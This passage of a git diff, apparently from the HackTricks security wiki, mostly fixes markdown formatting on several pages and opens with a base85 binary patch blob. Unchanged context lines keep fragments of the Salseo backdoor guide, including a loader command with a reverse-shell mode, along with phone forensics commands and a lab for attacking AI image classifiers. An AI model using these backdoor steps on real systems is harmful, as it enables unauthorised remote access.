zrd(Yd%G}NFgWDON8^sy+U=O)?T3^YkZELu3?)x%Dzj&&EmLu%u?xR9B@7_X3PrK5VNcWCRjdK6-eMK>J9%FU}t$x5YTu$xJlK_|$P&(5TE4wK)` zyk&r-qls)w-%sz-6brsZj-OBAz{$O|kF{eD+X&#qAF}YG;Sno0{h89|CD_Au%InMd z!&krKLjGCoVJnWXS((#RwU+SF%KuGq<$dL6ait)auePkGv7;4_1 z35ixG=q4C+5ez!%>ucla(IoB_-e7umM1m>f_F6DmXSkVviO<&jH*NjR%sM7XIJkw> z>;uYIz=s1@*oGr);mPxdtWNln(&rDDwvThSBA3m{>#1yc!h`BU4xKzmd0i>AtA!oEZMl^IiW*Gm$U zcXQ(W*Nn}LBg%nRS~m%ZzB) zjXC6?sPZA(Q+D&Dv5GO%6vr-{{oV{@#lhdS3l*H9p`cpI&1ET}9 zbhJ=YSEDo;sTrxP+OUd@;~5N&4>2)2!LhH8@yq}GB?)^H*t&BoiF*^-pSqt7+cxlD zfBa8UGY-p?h04aK{AtBU)U=lJe^>vKg0eyuJudP}OIWuv zf%=!NDyM_w!_bcA0YU*EA-|7Mz)MgZr~MARUMpQ)O(Y*oW9G);UZA9` zfR8`_opLB1S{!E8j#V5wbqGs92#yC=*rn=S(^|uZJ?kkbzr(b1k~`(Otls$*2Tvrk zX6H(dG%4otV59TKbx~oOglr6KNdGNakk# zO|ljLrhVeJgR=c zZ`Xdr*9F%Yx0wk>tQQpijzDk)j>3Ly9tT#po$_Z-S+!|3g{4J`U^oI2GSjU}L1__* zNjoU1dPGy#OSbGw;LP<4Oq*vTj-NKXSZVEg#^-DP$jyTDEI7uwTXu{8{ipwr_4_uk zX4iT)CneB1*2hxNjx{V`%tdk4LlRPVQ_)nzq;-~zGsjr9Z7ro$WwiEm(DbU6`t~N8 zyV_{$>0n@V7>Cyt@rDpECh%Tbqg$upmTU{LvN1N*N$Sy^oIHP&8LQMcpfnNUWWILS zMoMbR)Qq#3flMw9IyIF7JKk&5%VSJ;z&fS!o~>bqLllAK6+ePtv|fDfnN ztxTZA=~_AXhP>E3qB&Tgqo;#QH?Oc}^BSH$uViF$lrtC4@bRY~lXovqk&*7#J#_YT z(B9pl&Yzqe$L6+RcA1!59H;43JvWN3k$(CxyASUo^>_-kFP~xaS#gKmOe{=L`?8+g z2Y1N6aEe1GGdO%Ilj6!pjGJbdUFzdt)^0W*+E1TpmcjX94rC;de(@mv3j^4dgS13A zTB517g3s6gft$sbu>~#EG}rLwm4Bw7^sX9fi3R2kTc~L%<&(Alhk~*q?BNj4+uB&a zYbW_74=_6%_(CCk0dXb|AUQ&WWCR0VOy)UUE(ufXrK7WnJ^Qv&^dMI`_=}Ht(OFN=^Z+Xo){uTK6H`z$7hXkBg``%#e8Jj18@W?az?^%Iys}*Wy6IEC z+V%xsZ2pX-tOLqiYRNq(o(#CKQ`h;7-+%cV%IZs*w2gBv_cR;!tl>dbA(c%}sA;R> z#jEGkv{&(>y_(^<*Vz3Q7Ob<3P7X0THOlbh2*XpO3`&_C=Jn(dor7IWnx~a7NKNxo zQjhK9`1uS_E;g_ralZy6grTOdWsO77~m7L7Ih$$rGL_$PMv@5qF z7^`=zVR&hb$F+~xuzS7Iyv0=K<% z4z~08jxX7folO7S6#lSIfF?7X5*|}vu-)sRrL&c~)&?wYE0wiXtk|%UdqOZg790U5 zuCQB`g3>~^A4uT-(}%S7b+CTdW-jJlRe)U*aoK|woFNmf-Ou>Ts^4>`3_HX6*)iX>v7nJrwLf0Au<7v|~X6y?bzw|ZR4kYqws88ue1aLV+ z9;|*BR<8q_$EkcrbX$aA2))oGL%@@4iHV7xTedSg)yct(1dg9Q%%o{T*_1niPM$VY z@!94TN`oS^&N6pAWtmmaPdk;)$l@fHpc6~b!HdpDwj?F;@YxgYlohk%&|Y3o4=XSz z8lK*f*YpkbVRcxPMnmc*ee4Q*F}o~`PLGj#G>xmbuhR9pn==>BD(!`k4~Y`w3wf3K zlq~%rAAzvwj=YFtu}|q&9GG15Oq(Zo)>2JMRx+D*uV;8>NX_QE@!$x#)GYJJ!Z^*n zZDgH0!M=0#k(a`dQKdtx= zavxm7>Niu<{ESal{e`;^3-BsRB~PSZmRD}Wm)Fgb#e~Ub!sU1132JSWD`4fp zlL8Xb_fh_`7F*b_w2_*OOMVj%ZEcNY9Xrg$i>H<8*UaK9cApDZD4@*jEMB)tkk~oc z%Yxgaf&*wrZx5|qEgU_5R0Uv=5XfWKy38k={z~?hGYn15D-#aM zqAl=n(YZ+3voey7CUN8LbzC7Aug3>CeEcxS&SWz-FQ!idZQaTb;mE0@9L!2#U}~7r z`EfFGGD%F{N#m;~r8jT{Z7e!xIDI9HO*_A$rRzC!woxwSf6X7i{4Xk-D;P0N@U-O_ ziHG)*`?yfqstdumU-gJ>2X|7@Sk0_`fuf2B{N~d?@UXg!IoqO|(-!B{p78-5RhRQ> zpa+NFjVtKE5{Pu(xkS$Oa~#M@Vcax@$!k>_jG_54vM+tj*5nOR0JxCI3<4)9#^6i zjZcm#lF`!MNKJhuvr7|dG<-PmgdJSTy~ygVD|tQHPfJe=k7^z>IzNipYf*G$$~s43 z`F*w@+(}jQGbU%dNXy>C_RJ)@7baK=SU7j%7#sJ0MQv{b4wa7r?5-v9?pavFLS?U;2>GH?HG~?l8(c0IGeFPhD#rjqMGzb+^*l-;T6FOsR&ZUz2&}FiDxa8Jg?I8Ma^z z&C)&5%9hlP{A$(jl!=sGnWR;-YTFlVIk=_e?OC;_)*0T21G`rXXhOx!BI!^*8|Xzgpm>^0*GJF$7K zJa2l=o}@kG-Oa~rF>4=;xQSF8;C@el`#uE2_@P#UDmv>(LeV(E_~!ypV_f3Pf6Z|) z-naPj{d(X-elOl27>0R*C*WmrVVpBJa#)$LiXBIixKmNYqxvV5HB@l%?iIGBBy#dv z4o$r+YF2;AV^*`T;>;~J{Sqlj2t>i7d!%I_;@;yTO*p(_HuIc>q#c~OagL_0CffU7 za=Yj{E4TcG%egsBEDU1t&T^~h5}&O8n8xl#OaUu1jsM;x3_Tt3Q_RU!mQl0Q4OZFQ{NzM2O$rC34|H^|4l+r*{( zt0ZToGPXFWOs5u{OIQL9?pKxayU#!3vyCed{|(U?2niG4jgjdw(zDaqwsR}jZ(pOb zwpyEZwKXCUw^A}vIhK=6dyfEBzjF8%=kJum2Pvy~OiNpniaK@lSUOqR84M1;Rs^HD zt${;F4|40yReAZrnS3?v|}k;$-PW_U%MJNaY)a(a+=JX zOu7a;n3?Y*{p)1*oJ^(9G^w1o8#^jU%Gg56$z&eXmQ&eUugv2T_iyLe`7A^e;s|-E zec8;H8`tru=BYBv5sj7j+f>&Vv0~$Y@!;uwEPf9T$>KdRM*hPGtlqwb)U2b5XjC`U zQPWVzmE0TbNZP~6i)ZK?AHoszD2-HAeGPjL?IZs|9!;+rY42_4*1g-T-?54OM@7uK zB_Ke6vc~7E+O>_0i#a^+YNO^=E4QCKVE3`ZWM4neh-F$4jC)TD*_OPG=k3oF6`FI* za;@kZ2eS53Qgfdf+cfP1FZpuwU#V`bRI~D3|@QcB+As~kF; z!f#f8#QA$y7@QrTxxI#!>px|~j&Dd`7T=c-`Yg_>b<8!0bzkH_3v9noh+P{Ufw=eL#t(KR)Z7kUr zShUTNdGauyeEu#T}BqPGV!~7XF&>CF>4sCh1fv59`Y4 zn;m2^Xw_M^!ye^>@UXI!1BVZ=J9Q7cQg@S_c~Fsz@x@83eus)EGi93LQOy&QGgH`m zcps_9Qb@@XZOA2FPjunNs?0y`mEPv_wV&var(u@@>JyeZPF_93?(`&{cQkOfte9=d zJE&-=R{jyzfP?1lm)y9Q$Bu)0*s?E?J%fc>=^cE9H{`(XHS_XS6UTEhNjiLheW`m%PEX>*+2cH^ zd5qaH%Ytc?th0wXkaLJ3`wUizz~q~uxwVXw7t`5%FoBI}Nu->}V!Y z+Npcl#>&l`d0JbGWK$9IEq~a?^ZNU&-t-$DRhM873A6@lFue*l>&xA|S%eOSm*r4`$uh-*?t3UwV#49<+{^9V8L zw(_jKk%K3WvM=ipo0E5Q_{<5e7K?ND5|*%&CBKED%3_j^9iXPI8fVz0$W+fn7hhjL z#@?el=^W{#W2l|aH+;&o7KsdIW68I`z-%99Z|9JhwvDyBRmonINU_A*bTR3&~D34wg(ly>r@~JdZa*pt@<{?jC zl#-E^Ov$4{?%Xe6PkIt-c5PsL$`0~N?_l-Wm4;DrRZJ|5lUJP2!K10H-nx!8Ti20u z@eHl6UaG`>Cg&3Q_iwXl$67vF@h8@7U&B{hR`Q3>{>aKLE7*T%KZ6sm8J!+vXVP~5 zvf>j~Z(PaxEvs3*X(em6u3`1oHLTjYnrF?mcnLCXo}=VxsnVRRO<2pSEvs0cu%7Ik zhG3%b>)kHh(qwTyJ?`B|bIN~hpQRG6Ld}Rh- z%#LhcJ42JhbPe{chn%NQ)5icOk%TJ z35YYaWL6Ia@CAL?oE8;AbYy%;WxO67>1TR=Lis5OsP%?i3iR8YW@Hw-XP}GMBmIm` zkKypz@P-{Yy^HisbkRQE&3sUzK#6aM6`O5b`KYwMZlrnawer`Qwuy<5NBN|^Zgto3H$_ZTp0=rcVD3o)sE#PC;W}$Cll$O43ItKcgG%sNB zi;H+bWhjvtUpm*i81w|O`(*ZgoSxxcB@JY{@ugYj zoMx;cry4_R$idj+7@fnNh(ofpQnXAG4QphfkG6qE7TmKec^2pxXi>Q|#PQo5mQ2JCoIpFGd#@O=9IZsTXzfXy)S9)ZdIkDuZ_NuKAe6#4xg3Y;cnV` zUh=BHlg|EEboO`B(cejXU#H5gBECc7-{cCqF*!_XZ2E@#kTO0yu99v_g2_Ng3>bq7 z=zYjvr184{v_L3MFn-$pj>~tvzu#8|-VavCuQGbzef$0AaNRcuhBlL04n(PDT_x&| z04V_=GApk@yaHbWN_@B_0bJOpA|c5PyMPKuKq5$aRMF5%JBJIDGPdPfeZ2sGx3V4g zikC-N(sOChLy`lyIIpt(QDgyA6B7J_IC5k>`8GAvNUJVK;?Lg#9XChve)q ziZ2|%<@ez7xe?I5Ofb|{I=YmYt*AU5iaLmKlz5;B>CmC%W0gD;`Whh@qQQ_PdP2@5iC!S+Rok+ziXcLE`C-KKM8LIOMa;5?gUTO6avw;~h)f9h7tMtZ1T2~{@okZ7t)hof zcKz7{Hn-#64q7cj+VR(I{BMCLp$wj$7PWhA#mDRUZ1DW)$1D4 zYtkVtkoxKti;PBLzLqPt8(fV(&5IT!Z6GE z(S9}hR+9`vb77cF$$9b-X_N53a&07=gwSjC9BEthJ-AB&kKA9LWZY5C z5Lq{l>6!`!i4^hU35Oyj{$u`g_;L6-*C9?Y;_t}MSw7=+i^`_~l;g|y>wynhmcEl< z1cM<0;+r54OhuOw7!kxTG4qWgKq4H#CxAYzivsu&(jh=d0G&1l@h_7RO&|1r1>^)| z2eb*0K@z+n0VM%k0Uz#=TpLiuB_Lc#MKBUtGpwPHPqY)N_>m-H-e3T)EJGUXNS*b5 zeO%TBd`bO{y2~Efr$2IEuQG`e$S1(h&^!nb6mTdIO0)n5FqCtg0VhtsgYnrhF5kLD z#>sTD&m5<&y+Hw4=|v$aLNHX3c1Wgf0dmrZ5et1;Q(Iy24>5`+51MF1*F|F?W^I~S z2)XcULZa@b;kAw~6&(>78Dn&OLNJtOLO`Gahy@<%c1qpE49q43G6FaS)cOPjhitgQ zLNdHK!hS_I6ctm1Px?>*t?toimUKHoBoB!6s0RCTp0O@V0mxFMm$kMcta3(3-U!_y z*>4m*aw4A^?21%reSy|s$hwB%GH0%fexA``>?tZB6(69zrjgh6`39w8bc zA3_ME2qDwt!XTh>zO2jLqaO|ArH}RfG`Y|OMr$!-zkW-Eb{XrsExNCC4GrobfL&Uy ziIeUd=@X;>b(A!1A|mn9l>DoH(S$>KJ1Q4)C*x`(!-hOblTUd!bP*|)zLk6EeX_^6 z+Bl|1NdC*2n&gO72HeLKMjK}Z#uS@aQ705?b=EOzup2_p&7#9Sw~C=f5eJ{-U!u3 zEc@VMe3MWuyw4|cQUG%5IH09k!k zugadR=XT|3Z+(`Dg(euGkR%2)$cA1DDKU!5fglOcmamg_UHmG1ttJcxko1KGifT|P z_0i-)fU^O+b>v{AIHw3z)!(e*Hv#`VT1>U&4;Wsr<--oxm3sjr@Q*R<8xuX{l2&vcs% zAg=pLS}n9n7g^VY!XOp~^p;-Hch+nAS#ngLX`HW@hAbHrEJ_HpX_(gL$+dDf-Mi5{ z%9EnxA`0fUhE5>8(TDn4qxWPa4Wc0H(rdcNe%(I?*)gt>ev&#!O>}LHBYLTi%6~n= z#t3QRY5Z3NDDHR}cfS1_G7u*iaS;4dgQfWM-cRNXpd4SmUk`l9a`&ACLww;Rbgd>B zGAkY=5F)0$O)w!I~slQzeW)tcx!k#up(Q z%i5C|av>z++et+Te^5%yIp33D2xO9vKxPdQ^_GCBVAw-2=pi7cO%Y%vW*`E_1pav? z7l=plR0tT;9}Tbs_8RvSz$SZjG2pCTYVDAAJdbKCzM;K{IHwz$B&BtV5R8B%?-OF7 zoU64dl$b+FQFRVQ*EP`)V(~V?kd_OqjDma()D40m?U5QAF!UR(SZ=?j1Nzw-Xv($v zBhWLtrGatup0Py20LE_;3w8EIbSrdS^wW)+>G}3(4K&Qx_17b( zB_v7;qCi^{G%ZECUt-5vKh=;ieHTO4q{lURi}toA1)_P-^){%0P()1yVrwNWH|j1+ z?OPPl6&N}LMKX-OH+o&k%`zE?B^X988&8Y&nr@vT*CNj%4@SSrdB&Emi$N-4P5vZQ z^oRU~8n65Nfsh~CZ*hY0)AaKX9hdm|@o{-u2Hp==$FDMa;O+kWkhZ@k!SE9j+ka)> z55bTwfl!!0NX)2&cnElp0C`!DEn=Fa%#)%T3PV#7T?(lPzft^h|A@9^IoV%0q_ifY zIZ;JDU+NGd5DdPfgb4(V5<@bi&W4#+L>poN(DWWA1 zFldmAWfx@8{wV0`!>7*C+rhBDhrZXhkqfP5F*Gy+#H63~I7F6jlPu9DN%m{yt6^w1 ze2DhqT}8-`K{gEigQ309GxSEg1s)m%LNDKjudz@zx*lDNf?WZc(qGXYmt)39pQquc zT>Umd5O5tW(YqSw#Xiy47rTsJYuqP#598Wp@EbAh`sTKArmnS?3QfawKgQ1RM?tv0 zD$-IJBh~6RiHAsr^v#rV_WKIv_aY==j%5l+5+8HeV%c?ZiP{=*!(k^V2Ce9{D(T;2j4COaf0#feG`|P zc;Eb-WWWH*@#XvVz|Uzce`sC42f>gZd!2;tZGsUDg$ag2F(rn07zE(0rPd+{&=0>= zBILv%DYA?q7@|3mXDK4FY@!tHM@*Z-;wK?9w9=muzYoJCD&oIlm^$f@xzT#Xl8iS9 z##@9#$VDJRFvQ6_dcUY9!_a6bt%hh<-eEdrkPGom(U4K^J-EB3l?yZ-yPNwH5go~-No&114(KKi&p<%~9HUy#rn$t{h3(RGWHj34@C{y*vbIKha6=>JLb z{vo&Z{a|(cDx(KJHzCkdQW4CsYj}n5Ye@Uzf$#;_{(r*(CAs1T0j222wjrBK)f$WXB`||p7 z3nED)wMIZl?Yj$ztGA{yBIC<<6_T-h*SDV}$G+{jacsFJ5xt9Ui_!M)CKz#Y@ge`H z{1kPM6O1^)_$lNp{*1q0&J3U&U%p=te8@8R{{t6>bXKn*@QVNd002ovPDHLkV1l^K BslNaK diff --git a/README.md b/README.md index 6e971fdc..dddd053c 100644 --- a/README.md +++ b/README.md @@ -34,9 +34,9 @@ If you want to **share some tricks with the community** you can also submit **pu ****[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentestings, Red teams and training. -You can check their** blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)**** +You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)**** -**STM Cyber **also support cybersecurity open source projects like HackTricks :) +**STM Cyber** also support cybersecurity open source projects like HackTricks :) ### [**INE**](https://ine.com) @@ -44,7 +44,7 @@ You can check their** blog** in [**https://blog.stmcyber.com**](https://blog.stm [**INE**](https://ine.com) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com)**.** -**INE **also support cybersecurity open source projects like HackTricks :) +**INE** also support cybersecurity open source projects like HackTricks :) #### **Courses and Certifications reviews** @@ -56,5 +56,5 @@ You can find **my reviews of the certifications eMAPT and eWPTXv2** (and their * ## License -**Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on **[**HACK TRICKS**](https://github.com/carlospolop/hacktricks)** by Carlos Polop is licensed under the**[** Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ +**Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ **If you want to use it with commercial purposes, contact me.** diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md index 67707d10..857af5c2 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md @@ -2,7 +2,7 @@ ## Presentation -**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I. **applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc... +**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I.** applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc... Every month a lab on various topic found in commercial A.I. applications will be posted, with **3 different difficulties** (named challenges), in order to **guide** the user in **understanding** all the mechanics behind it and practice **different** ways of **exploitation**. @@ -13,20 +13,20 @@ The platform, which is now in **beta** version, will also feature in the next fu All the **material and the techs for the exploitation of A.I. will be posted here** in a dedicated section of hacktricks. **While** we are in **beta** version and completing the implementation of all the above described features, the subscription and all the already posted labs with their relative **challenges are free**.\ -**So start learning how to exploit A.I. for free while you can in **[**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)****\ +**So start learning how to exploit A.I. for free while you can in** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)****\ ****ENJOY ;) -_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity _ +_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity_ > _Walter Miele from BrA.I.nsmasher_ ## Registry Challenge -In order to register in [**BrA.I.Smasher **](https://beta.brainsmasher.eu)you need to solve an easy challenge ([**here**](https://beta.brainsmasher.eu/registrationChallenge)).\ +In order to register in [**BrA.I.Smasher** ](https://beta.brainsmasher.eu)you need to solve an easy challenge ([**here**](https://beta.brainsmasher.eu/registrationChallenge)).\ Just think how you can confuse a neuronal network while not confusing the other one knowing that one detects better the panda while the other one is worse... {% hint style="info" %} -However, if at some point you **don't know how to solve** the challenge, or **even if you solve it**, check out the official solution in [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing). +However, if at some point you **don't know how to solve** the challenge, or **even if you solve it**, check out the official solution in [**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing). {% endhint %} I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images.** diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md index c6e66a06..25f2d07d 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md @@ -5,7 +5,7 @@ The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.\
    \ In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles) -Of course we will not provide the full code but only the core part for the exploiting of the model,** instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. +Of course we will not provide the full code but only the core part for the exploiting of the model, **instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) diff --git a/about-the-author.md b/about-the-author.md index e1c7918a..a99e76fa 100644 --- a/about-the-author.md +++ b/about-the-author.md @@ -2,9 +2,9 @@ ### Hello!! -This is** Carlos Polop**. +This is **Carlos Polop**. -First of all, I want to indicate that **I don't own this entire book**, a lot of** information was copy/pasted from other websites and that content belongs to them** (this is indicated on the pages). +First of all, I want to indicate that **I don't own this entire book**, a lot of **information was copy/pasted from other websites and that content belongs to them** (this is indicated on the pages). I also wants to say **thanks to all the people that share cyber-security related information for free** on the Internet. Thanks to them I learn new hacking techniques that then I add to Hacktricks. @@ -13,18 +13,18 @@ I also wants to say **thanks to all the people that share cyber-security related If for some weird reason you are interested in knowing about my bio here you have a summary: * I've worked in different companies as sysadmin, developer and **pentester**. -* I'm a **Telecommunications Engineer** with a **Masters **in **Cybersecurity** -* Relevant certifications: **OSCP, OSWE**, **CRTP, eMAPT, eWPTXv2 **and Professional Drone pilot. -* I speak **Spanish **and **English **and little of French (some day I will improve that). +* I'm a **Telecommunications Engineer** with a **Masters** in **Cybersecurity** +* Relevant certifications: **OSCP, OSWE**, **CRTP, eMAPT, eWPTXv2** and Professional Drone pilot. +* I speak **Spanish** and **English** and little of French (some day I will improve that). * I'm a **CTF player** -* I'm very proud of this **book **and my **PEASS **(I'm talking about these peass: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)) +* I'm very proud of this **book** and my **PEASS** (I'm talking about these peass: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)) * And I really enjoy researching, playing CTFs, pentesting and everything related to **hacking**. ### Support HackTricks Thank you for be **reading this**! -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. diff --git a/android-forensics.md b/android-forensics.md index 48a922d2..eaae8d27 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -5,7 +5,7 @@ To start extracting data from an Android device it has to be unlocked. If it's locked you can: * Check if the device has debugging via USB activated. -* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) +* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) * Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) ## Data Adquisition @@ -14,7 +14,7 @@ Create an [android backup using adb](mobile-apps-pentesting/android-app-pentesti ### If root access or physical connection to JTAG interface -* `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0 _and corresponds to the whole flash memory). +* `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory). * `df /data` (Discover the block size of the system). * dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size). diff --git a/backdoors/salseo.md b/backdoors/salseo.md index 6bad142b..af053baa 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -12,7 +12,7 @@ Compile those projects for the architecture of the windows box where your are go You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** -**(**If you can't find this options press in **"Project Tab" **and then in **"\ Properties"**) +**(**If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) ![](../.gitbook/assets/image.png) @@ -22,7 +22,7 @@ Then, build both projects (Build -> Build Solution) (Inside the logs will appear ## Prepare the Backdoor -First of all, you will need to encode the **EvilSalsa.dll. **To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly** +First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly** ### **Python** @@ -62,7 +62,7 @@ SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
    **NuGet Package Manager **--> **Manage NuGet Packages for Solution...** +#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** ![](<../.gitbook/assets/image (3).png>) @@ -103,27 +103,27 @@ Open the SalseoLoader project using Visual Studio. ![](<../.gitbook/assets/image (4).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat** ### **U**ninstall DllExport -Press **Uninstall **(yeah, its weird but trust me, it is necessary) +Press **Uninstall** (yeah, its weird but trust me, it is necessary) ![](<../.gitbook/assets/image (5).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Exit Visual Studio and execute DllExport\_configure** Just **exit** Visual Studio -Then, go to your **SalseoLoader folder **and **execute DllExport_Configure.bat** +Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices **(inside **Namespace for DllExport**) and press **Apply** +Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** ![](<../.gitbook/assets/image (7).png>) ### **Open the project again with visual Studio** -**\[DllExport] **should not be longer marked as error +**\[DllExport]** should not be longer marked as error ![](<../.gitbook/assets/image (8).png>) diff --git a/blockchain/blockchain-and-crypto-currencies.md b/blockchain/blockchain-and-crypto-currencies.md index b4281992..b36e501e 100644 --- a/blockchain/blockchain-and-crypto-currencies.md +++ b/blockchain/blockchain-and-crypto-currencies.md @@ -5,8 +5,8 @@ * **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. (From [here](https://www.ibm.com/topics/smart-contracts)). * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** (so the results are stored inmutable) and can be read by the people before accepting them. * **dApps**: **Decentralised applications** are implemented on top of **smart** **contracts**. They usually have a front-end where the user can interact with the app, the **back-end** is public (so it can be audited) and is implemented as a **smart contract**. Sometimes the use of a database is needed, Ethereum blockchain allocates certain storage to each account. -* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents **some **value** but it's not a coin. - * **Utility Tokens**: These tokens allow the user to** access certain service later** (it's something that have some value in a specific environment). +* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents** some **value** but it's not a coin. + * **Utility Tokens**: These tokens allow the user to **access certain service later** (it's something that have some value in a specific environment). * **Security Tokens**: These represents the **ownership** or some asset. * **DeFi**: **Decentralized Finance**. * **DEX: Decentralized Exchange Platforms**. @@ -14,7 +14,7 @@ ## Consensus Mechanisms -For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators (miners) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. +For a blockchain transaction 